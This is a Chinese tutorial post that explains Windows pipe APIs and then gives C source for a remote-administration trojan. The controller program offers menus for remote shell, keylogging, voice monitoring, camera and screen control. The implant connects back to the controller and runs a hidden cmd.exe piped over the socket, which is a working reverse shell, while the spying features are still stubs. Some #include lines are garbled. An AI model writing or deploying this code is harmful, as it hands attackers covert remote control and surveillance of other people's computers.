CreatePipe() 介绍:
功能:创建一个匿名管道,并从中得到读写管道的句柄。
函数原型:BOOL WINAPI CreatePipe(
PHANDLE hReadPipe, // 返回一个可用于读管道数据的文件句柄。
PHANDLE hWritePipe, // 返回一个可用于写管道数据的文件句柄。
LPSECURITY_ATTRIBUTES lpPipeAttributes, // 该结构用于决定该函数返回的句柄是否可被子进程继承。
DWORD nSize // 管道的缓冲区大小。如果传入0 ,那么系统将使用一个默认的缓冲区大小。
);
返回值:非零表示成功,零表示失败。
SECURITY_ATTRIBUTES 结构体:
typedef struct _SECURITY_ATTRIBUTES { DWORD nLength; // 结构体的大小。 LPVOID lpSecurityDescriptor; // 安全描述符。如果为 NULL,则使用默认的。 BOOL bInheritHandle; // 安全描述的对象能否被新创建的进程继承。 } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
CreateNamedPipe() 介绍:
功能:创建命名管道的实例, 并返回后续管道操作的句柄。
函数原型:HANDLE CreateNamedPipe(
LPCSTR lpName, // 指定管道名,采用的形式是:“\\.\pipe\pipename”。
DWORD dwOpenMode, // 打开模式。
DWORD dwPipeMode, // 管道模式。
DWORD nMaxInstances, // 管道能够创建的最大实例数量。范围(1~255)。为 255 则仅限制于系统资源。
DWORD nOutBufferSize, // 要为输出缓冲区预留的字节数,零表示用默认值。
DWORD nInBufferSize, // 要为输入缓冲区预留的字节数,零表示用默认值。
DWORD nDefaultTimeOut, // 管道的默认等待超时。零表示用默认值。
LPSECURITY_ATTRIBUTES lpSecurityAttributes // 安全属性结构体,同上。
);
返回值:如果函数成功, 则返回值是命名管道实例的服务器端的句柄。
如果函数失败, 则返回值为 INVALID_HANDLE_VALUE。
WaitNamePipe() 介绍:
功能:等待直到超时间隔结束或指定的命名管道的实例可用于连接。
函数原型:BOOL WaitNamedPipeA(
LPCSTR lpNamedPipeName, // 要打开的管道名,格式“\\servername\pipe\pipename”,
// 如果是本地管道则servername可以使用点“.”。
DWORD nTimeOut // 等待命名管道的一个实例有效的超时时间,单位毫秒。
// 也可以是 NMPWAIT_USE_DEFAULT_WAIT,即CreateNamePipe() 设置的时间。
// NMPWAIT_WAIT_FOREVER,即等到该实例有效才返回。
);
返回值:非零表示成功,零表示失败。
PeekNamedPipe() 介绍:
功能:将命名或匿名管道中的数据复制到缓冲区中, 而不将其从管道中移除。它还返回有关管道中数据的信息。
函数原型:BOOL WINAPI PeekNamedPipe(
HANDLE hNamedPipe, // 管道的句柄。除了命名或匿名管道句柄,还可以使 CreateFile() 返回的文件句柄。
LPVOID lpBuffer, // 指向接收从管道读取的数据的缓冲区的指针。如果没有要读取的数据, 则此参数可以为 NULL。
DWORD nBufferSize, // 由 lpBuffer 参数指定的缓冲区的大小 (以字节为单位)。
LPDWORD lpBytesRead, // 指向一个接收从管道读取的字节数的变量的指针。
LPDWORD lpTotalBytesAvail, // 该指针变量接收从管道中读取的总字节数
LPDWORD lpBytesLeftThisMessage // 指向一个接收此消息中剩余字节数的指针变量。
);
返回值:非零表示成功,零表示失败。
ZeroMemory() 介绍:
功能:用 0 来填充一块内存区域,将指定的内存块清零。(使用结构前清零,而不让结构的成员数值具有不确定性。)
PVOID Destination, // 指向一块准备用0来填充的内存区域的开始地址。
SIZE_T Length // 准备用0来填充的内存区域的大小,按字节计算。
);
// Client #include#include<string.h> #include // winsock.h 必须要在 windows.h 之前,否则有些地方会出现未知异常。 #include #pragma comment(lib,"ws2_32") #define BACKLOG 8 SOCKET Connecting(unsigned short Port); int Choices(); void CmdLine(SOCKET Socket); int main(void) { SOCKET Sock; Sock = Connecting(1314); while (true) { switch(Choices()) { case 1: send(Sock,"CMD",20,0); CmdLine(Sock); break; case 2: send(Sock,"PHOTO",20,0); break; case 3: send(Sock,"UPLOAD",20,0); break; case 4: send(Sock,"DOWNLOAD",20,0); break; case 5: send(Sock,"KEYMONITOR",20,0); break; case 6: send(Sock,"VOICEMONITOR",20,0); break; case 7: send(Sock,"REMOTETALK",20,0); break; case 8: send(Sock,"REMOTEMONITOR",20,0); break; case 9: send(Sock,"SCREENCONTROL",20,0); break; case 0: send(Sock,"EXIT",20,0); exit(0); default: break; } } return 0; } int Choices() { int Choice; printf("1、CMD 终端\t\t2、拍照\n\n"); printf("3、文件上传\t\t4、文件下载\n\n"); printf("5、键盘记录\t\t6、语音监听\n\n"); printf("7、远程会话\t\t8、视频查看\n\n"); printf("9、屏幕控制\t\t0、退出\n\n"); printf("Input your Choice\n"); scanf("%d",&Choice); return Choice; } void CmdLine(SOCKET Socket) { int num=0; CHAR Command[MAX_PATH]={0},Message[2048]={0}; while(true) { printf("Input Command: \n"); gets(Command); send(Socket, Command, MAX_PATH, 0); if(strcmp(Command,"exit") == 0) break; num = recv(Socket,Message,2048,0); Message[num] = '\0'; printf("%s\n",Message); ZeroMemory(Command,MAX_PATH); ZeroMemory(Message,2048); } } SOCKET Connecting(unsigned short Port) { SOCKET Sockfd, New_fd; WSADATA ws; struct sockaddr_in my_addr, their_addr; int sin_size = sizeof(struct sockaddr_in); if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) return SOCKET_ERROR; if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return SOCKET_ERROR; my_addr.sin_family = AF_INET; my_addr.sin_port = htons(Port); my_addr.sin_addr.S_un.S_addr = INADDR_ANY; if (bind(Sockfd, (struct sockaddr*)&my_addr, sizeof(struct sockaddr)) == -1) { closesocket(Sockfd); return SOCKET_ERROR; } if (listen(Sockfd, BACKLOG) == SOCKET_ERROR) { closesocket(Sockfd); return SOCKET_ERROR; } printf("Connecting ...\nWatiing ...\n"); if ((New_fd = accept(Sockfd, (struct sockaddr *)&their_addr, &sin_size)) == INVALID_SOCKET) { closesocket(Sockfd); return SOCKET_ERROR; } printf("Connect Succeed!\n"); return New_fd; }
....................................................................................................................................................................
// Server #include#include // winsock.h 必须要在 windows.h 之前。 #include #pragma comment(lib,"ws2_32") #define Length 2048 SOCKET WaitConnecting(const char *ip,unsigned short Port); BOOL CmdLine(SOCKET Sockfd); int ChoiceRecv(const char *Choice); int main(void) { map: CHAR Choice[20]; SOCKET Sock; Sock = WaitConnecting("127.0.0.1",1314); while(true) { if(recv(Sock,Choice,20,0) == 0) break; switch(ChoiceRecv(Choice)) { case 0: goto map; break; case 1: CmdLine(Sock); break; case 2: break; case 3: break; case 4: break; case 5: break; case 6: break; case 7: break; case 8: break; case 9: break; default: break; } } return 0; } SOCKET WaitConnecting(const char *ip,unsigned short Port) { SOCKET Sockfd; struct sockaddr_in their_addr; WSADATA ws; if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) return SOCKET_ERROR; if ((Sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return SOCKET_ERROR; their_addr.sin_family = AF_INET; their_addr.sin_port = htons(Port); their_addr.sin_addr.S_un.S_addr = inet_addr(ip); printf("Connecting...\nWating...\n"); while (connect(Sockfd, (struct sockaddr*)&their_addr, sizeof(sockaddr_in))); printf("Connect Succeed!\n"); return Sockfd; } BOOL CmdLine(SOCKET Sockfd) { int n=0; DWORD Read,Write; CHAR CmdLine[MAX_PATH]; CHAR Buffer[MAX_PATH], Message[Length]; HANDLE hReadPipe0, hWritePipe0,hReadPipe1,hWritePipe1; SECURITY_ATTRIBUTES Pipeattr; STARTUPINFO SI; PROCESS_INFORMATION PI; Pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES); Pipeattr.lpSecurityDescriptor = 0; Pipeattr.bInheritHandle = TRUE; if(!CreatePipe(&hReadPipe0, &hWritePipe0, &Pipeattr, 0) || !CreatePipe(&hReadPipe1,&hWritePipe1,&Pipeattr,0)) return false; ZeroMemory(&SI, sizeof(SI)); ZeroMemory(&PI, sizeof(PI)); SI.cb = sizeof(STARTUPINFO); SI.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; SI.wShowWindow = SW_HIDE; SI.hStdInput = hReadPipe1; SI.hStdOutput = SI.hStdError = hWritePipe0; GetSystemDirectory(CmdLine,sizeof(CmdLine)); strcat(CmdLine,"\\cmd.exe"); if(!CreateProcess(CmdLine,NULL,NULL,NULL,TRUE,0,NULL,NULL,&SI,&PI)) return false; Sleep(100); // 等待延时,若不等待会出问题,有待完善。 while (true) { if(Sockfd == SOCKET_ERROR) return false; PeekNamedPipe(hReadPipe0, &Message, Length, &Read, 0, 0); if (Read) { memset(Message,0,Length); ReadFile(hReadPipe0, &Message, Read, &Read, 0); if(n>0) { send(Sockfd, Message, Read,0); } n++; } if(recv(Sockfd, Buffer, MAX_PATH, 0) == 0) return false; if(strcmp(Buffer,"exit") == 0) return false; strcat(Buffer,"\r\n"); WriteFile(hWritePipe1,Buffer,strlen(Buffer),&Write,NULL); if(!Write) return false; Sleep(100); // 等待延时,若不等待会出问题,有待完善。 } } int ChoiceRecv(const char *Choice) { int i; const char FeatureList[10][20] = {"EXIT","CMD","PHOTO","UPLOAD","DOWNLOAD","KEYMONITOR", "VOICEMONITOR","REMOTETALK","REMOTEMONITOR","SCREENCONTROL"}; for(i=0;i<10;i++) if(!strcmp(FeatureList[i],Choice)) return i; return -1; }
这是双匿名管道,还有很多不完善的地方,以后会慢慢完善的,请见谅。